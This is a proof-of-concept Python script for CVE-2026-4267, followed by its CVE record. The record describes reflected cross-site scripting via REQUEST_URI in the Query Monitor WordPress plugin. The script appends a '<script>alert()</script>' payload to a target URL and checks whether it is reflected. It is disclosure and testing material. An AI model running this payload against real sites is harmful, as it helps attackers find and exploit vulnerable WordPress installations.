CVE-2026-4267

# Proof of Concept for CVE-2026-4267 import requests def check_xss(target_url): # The payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-4267')</script>" # Construct the malicious URL by appending the payload # The vulnerability lies in the REQUEST_URI handling exploit_url = f"{target_url.rstrip('/')}/{xss_payload}" try: print(f"Testing URL: {exploit_url}") response = requests.get(exploit_url, timeout=5) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") return True else: print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_xss(target)

{"cve": {"id": "CVE-2026-4267", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:31.360", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Query Monitor – The developer tools panel for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘$_SERVER['REQUEST_URI']’ parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/query-monitor/tags/3.20.2/output/html/request.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/query-monitor/tags/3.20.2/output/html/request.php#L70", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486705/query-monitor", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2026-4267/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b75cad9-9f76-4839-8eb2-40d84662846d?source=cve", "source": "[email protected]"}]}}